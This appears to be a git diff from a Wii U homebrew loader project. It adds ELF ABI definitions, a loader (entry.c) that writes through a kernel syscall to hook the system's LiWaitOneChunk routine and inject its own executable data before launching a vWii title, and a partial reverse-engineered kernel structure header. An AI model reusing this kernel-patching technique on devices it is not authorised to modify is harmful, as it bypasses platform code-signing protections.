SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/sd_loader/src/entry.c b/dsrom/vwii_loader/sd_loader/src/entry.c new file mode 100644 index 0000000..d729e79 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/entry.c @@ -0,0 +1,388 @@ +#include +#include "elf_abi.h" +#include "../../common.h" +#include "../../fs_defs.h" +#include "../../os_defs.h" +#include "kernel_defs.h" +#include "loader_defs.h" + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); +#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) + +static void (*DCFlushRange)(void *addr, unsigned int size); +static void (*DCInvalidateRange)(void *addr, unsigned int size); +static void (*ICInvalidateRange)(void *addr, unsigned int size); +static unsigned int hook_LiWaitOneChunk; +static unsigned int addrphys_LiWaitOneChunk; + +extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); +extern void my_PrepareTitle_hook(void); + +static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) +{ + /* + * Setup a DBAT access with cache inhibited to write through and read directly from memory + */ + unsigned int dbatu0, dbatl0, dbatu1, dbatl1; + // save the original DBAT value + asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); + asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); + asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); + asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); + + unsigned int target_dbatu0 = 0; + unsigned int target_dbatl0 = 0; + unsigned int target_dbatu1 = 0; + unsigned int target_dbatl1 = 0; + + unsigned int *dst_p = (unsigned int*)addr; + unsigned int *src_p = (unsigned int*)src; + + // we only need DBAT modification for addresses out of our own DBAT range + // as our own DBAT is available everywhere for user and supervisor + // since our own DBAT is on DBAT5 position we don't collide here + if(addr < 0x00800000 || addr >= 0x01000000) + { + target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; + target_dbatl0 = (addr & 0xFFF00000) | 0x32; + asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); + dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); + } + if(src < 0x00800000 || src >= 0x01000000) + { + target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; + target_dbatl1 = (src & 0xFFF00000) | 0x32; + + asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); + src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); + } + + asm volatile("eieio; isync"); + + unsigned int i; + for(i = 0; i < len; i += 4) + { + // if we are on the edge to next chunk + if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) + { + target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; + target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; + dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); + + asm volatile("eieio; isync"); + asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); + asm volatile("eieio; isync"); + } + if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) + { + target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; + target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; + src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); + + asm volatile("eieio; isync"); + asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); + asm volatile("eieio; isync"); + } + + *dst_p = *src_p; + + ++dst_p; + ++src_p; + } + + /* + * Restore original DBAT value + */ + asm volatile("eieio; isync"); + asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); + asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); + asm volatile("eieio; isync"); +} + +// This function is called every time after LiBounceOneChunk. +// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address +// and return the still remaining bytes to load. +// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. +static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) +{ + unsigned int result; + register int core_id; + int remaining_bytes = 0; + + int sgFileOffset; + int sgBufferNumber; + int *sgBounceError; + int *sgGotBytes; + int *sgTotalBytes; + int *sgIsLoadingBuffer; + int *sgFinishedLoadingBuffer; + + // get the current core + asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); + + // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) + unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); + + // Comment (Dimok): + // time measurement at this position for logger -> we don't need it right now except maybe for debugging + //unsigned long long systemTime1 = Loader_GetSystemTime(); + + if(OS_FIRMWARE == 550) + { + // pointer to global variables of the loader + loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); + + sgBufferNumber = loader_globals->sgBufferNumber; + sgFileOffset = loader_globals->sgFileOffset; + sgBounceError = &loader_globals->sgBounceError; + sgGotBytes = &loader_globals->sgGotBytes; + sgTotalBytes = &loader_globals->sgTotalBytes; + sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; + // not available on 5.5.x + sgIsLoadingBuffer = NULL; + } + else + { + // pointer to global variables of the loader + loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); + + sgBufferNumber = loader_globals->sgBufferNumber; + sgFileOffset = loader_globals->sgFileOffset; + sgBounceError = &loader_globals->sgBounceError; + sgGotBytes = &loader_globals->sgGotBytes; + sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; + // not available on < 5.5.x + sgTotalBytes = NULL; + sgFinishedLoadingBuffer = NULL; + } + + // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data + if(gDynloadInitialized != 0) { + result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); + + } + else { + result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); + } + + // Comment (Dimok): + // time measurement at this position for logger -> we don't need it right now except maybe for debugging + //unsigned long long systemTime2 = Loader_GetSystemTime(); + + //------------------------------------------------------------------------------------------------------------------ + // Start of our function intrusion: + // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, + // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 + // Do this only if we are in the game that was launched by our method + s_mem_area *mem_area = MEM_AREA_TABLE; + if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) + { + unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); + unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 + + remaining_bytes = ELF_DATA_SIZE - sgFileOffset; + if (remaining_bytes > 0x400000) + // truncate size + remaining_bytes = 0x400000; + + DCFlushRange((void*)load_address, remaining_bytes); + + u32 rpxBlockPos = 0; + u32 done = 0; + u32 mapOffset = 0; + + while((done < (u32)sgFileOffset) && mem_area) + { + if((done + mem_area->size) > (u32)sgFileOffset) + { + mapOffset = sgFileOffset - done; + done = sgFileOffset; + } + else + { + done += mem_area->size; + mem_area = mem_area->next; + } + } + + while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) + { + u32 address = mem_area->address + mapOffset; + u32 blockSize = ELF_DATA_SIZE - done; + + if(blockSize > (0x400000 - rpxBlockPos)) + { + blockSize = 0x400000 - rpxBlockPos; + } + if((mapOffset + blockSize) >= mem_area->size) + { + blockSize = mem_area->size - mapOffset; + //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy + //! it makes smaller code then if(mapOffset == mem_area->size) after copy + mapOffset = -blockSize; + mem_area = mem_area->next; + } + + SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); + done += blockSize; + rpxBlockPos += blockSize; + mapOffset += blockSize; + } + + DCInvalidateRange((void*)load_address, remaining_bytes); + + if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) + { + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + MAIN_ENTRY_ADDR = 0xC001C0DE; + } + // set result to 0 -> "everything OK" + result = 0; + } + + // end of our little intrusion into this function + //------------------------------------------------------------------------------------------------------------------ + + // set the result to the global bounce error variable + if(sgBounceError) { + *sgBounceError = result; + } + + // disable global flag that buffer is still loaded by IOSU + if(sgFinishedLoadingBuffer) + { + unsigned int zeroBitCount = 0; + asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); + *sgFinishedLoadingBuffer = zeroBitCount >> 5; + } + else if(sgIsLoadingBuffer) + { + *sgIsLoadingBuffer = 0; + } + + // check result for errors + if(result == 0) + { + // the remaining size is set globally and in stack variable only + // if a pointer was passed to this function + if(iRemainingBytes) { + if(sgGotBytes) { + *sgGotBytes = remaining_bytes; + } + + *iRemainingBytes = remaining_bytes; + + // on 5.5.x a new variable for total loaded bytes was added + if(sgTotalBytes) { + *sgTotalBytes += remaining_bytes; + } + } + // Comment (Dimok): + // calculate time difference and print it on logging how long the wait for asynchronous data load took + // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap + } + else { + // Comment (Dimok): + // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P + } + return result; +} + +void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) +{ + if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) + { + xmlKernelInfo->max_size = RPX_MAX_SIZE; + xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; + //! setup our hook to LiWaitOneChunk for RPX loading + hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; + KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); + asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); + } + else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ + { + //! restore original LiWaitOneChunk instruction as our RPX is done + MAIN_ENTRY_ADDR = 0xDEADC0DE; + KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); + asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); + } +} + +unsigned int _main(int argc, char **argv) +{ + if(MAIN_ENTRY_ADDR != 0xC001C0DE) + { + EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); + EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + + OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; + OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; + + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); + + EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); + EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); + + unsigned int *functionPtr = 0; + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); + MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); + MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; + + //get all the CMPT functions + unsigned int cmpt_handle; + OSDynLoad_Acquire("nn_cmpt.rpl", &cmpt_handle); + + int (*CMPTLaunchTitle)(void* CMPTConfigure, int ConfigSize, int titlehigh, int titlelow); + int (*CMPTAcctSetScreenType)(int screenType); + int (*CMPTGetDataSize)(int* dataSize); + int (*CMPTCheckScreenState)(); + + OSDynLoad_FindExport(cmpt_handle, 0, "CMPTLaunchTitle", &CMPTLaunchTitle); + OSDynLoad_FindExport(cmpt_handle, 0, "CMPTAcctSetScreenType", &CMPTAcctSetScreenType); + OSDynLoad_FindExport(cmpt_handle, 0, "CMPTGetDataSize", &CMPTGetDataSize); + OSDynLoad_FindExport(cmpt_handle, 0, "CMPTCheckScreenState", &CMPTCheckScreenState); + + //1 = TV Only, 2 = GamePad Only, 3 = Both + CMPTAcctSetScreenType(3); + if(CMPTCheckScreenState() < 0) + { + CMPTAcctSetScreenType(2); + if(CMPTCheckScreenState() < 0) + CMPTAcctSetScreenType(1); + } + + int datasize; + CMPTGetDataSize(&datasize); + + //needed for CMPT to work + unsigned int padscore_handle; + OSDynLoad_Acquire("padscore.rpl", &padscore_handle); + void(*KPADInit)(); + OSDynLoad_FindExport(padscore_handle, 0, "KPADInit", &KPADInit); + KPADInit(); + + void *databuf = MEMAllocFromDefaultHeapEx(datasize, 0x40); + CMPTLaunchTitle(databuf, datasize, VWII_TITLE_ID_LOW, VWII_TITLE_ID_HIGH); + MEMFreeToDefaultHeap(databuf); + MAIN_ENTRY_ADDR = 0xC001C0DE; + } + + unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry; + + //! launch the original title with clean stack + return entry; +} diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_defs.h b/dsrom/vwii_loader/sd_loader/src/kernel_defs.h new file mode 100644 index 0000000..a1cce49 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/kernel_defs.h @@ -0,0 +1,75 @@ +#ifndef __KERNEL_DEFS_H_ +#define __KERNEL_DEFS_H_ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// original structure in the kernel that is originally 0x1270 long +typedef struct +{ + uint32_t version_cos_xml; // version tag from cos.xml + uint64_t os_version; // os_version from app.xml + uint64_t title_id; // title_id tag from app.xml + uint32_t app_type; // app_type tag from app.xml + uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) + char rpx_name[0x1000]; // rpx name from cos.xml + uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) + uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 + uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app + uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) + uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) + uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) + uint32_t max_codesize; // max_codesize in cos.xml + uint32_t overlay_arena; // overlay_arena in cos.xml + uint32_t unknown4[59]; // all zeros it seems + uint32_t default_stack0_size; // not sure because always 0 but very likely + uint32_t default_stack1_size; // not sure because always 0 but very likely + uint32_t default_stack2_size; // not sure because always 0 but very likely + uint32_t default_redzone0_size; // not sure because always 0 but very likely + uint32_t default_redzone1_size; // not sure because always 0 but very likely + uint32_t default_redzone2_size; // not sure because always 0 but very likely + uint32_t exception_stack0_size; // from cos.xml, 